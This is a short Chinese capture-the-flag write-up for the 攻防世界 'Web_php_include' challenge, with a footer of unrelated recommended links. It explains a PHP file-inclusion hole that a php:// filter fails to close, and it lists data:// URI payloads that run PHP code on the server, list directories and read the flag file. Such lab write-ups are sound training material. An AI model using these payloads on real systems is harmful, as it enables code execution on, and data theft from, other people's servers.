32.攻防世界Web_php_include

进入场景

echo $_GET'hello' 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET'page' 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER'DOCUMENT_ROOT'; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
2301_7803039010 分钟前
网络安全、自动化运维、ERP、CRM、MES
运维·web安全·网络安全·自动化·安全威胁分析
心中有国也有家1 小时前
AtomGit Flutter 鸿蒙客户端:呼吸练习的完整生命周期
学习·flutter·华为·harmonyos
Zeeland1 小时前
构建护城河:自学习 Agent
学习
学逆向的1 小时前
汇编——内存
开发语言·汇编·算法·网络安全
brave_zhao1 小时前
nginx的进程架构
java·学习·nginx
枫零NET1 小时前
跟着OpenCode学习Pi Coding Agent-05-Agent的类型系统
人工智能·学习
Day(AKA Elin)1 小时前
【Day】MTP(Multi Token Prediction)技术学习
python·深度学习·学习·llama
Waay2 小时前
Linux 三个核心环境变量配置文件、作用域、生效方式完整梳理
linux·运维·学习·云原生·容器
Piko6142 小时前
锐捷交换机 DHCP Server部署
运维·网络·笔记
卓豪终端管理2 小时前
企业数据防泄漏:现代设备控制如何成为终端安全的关键防线
安全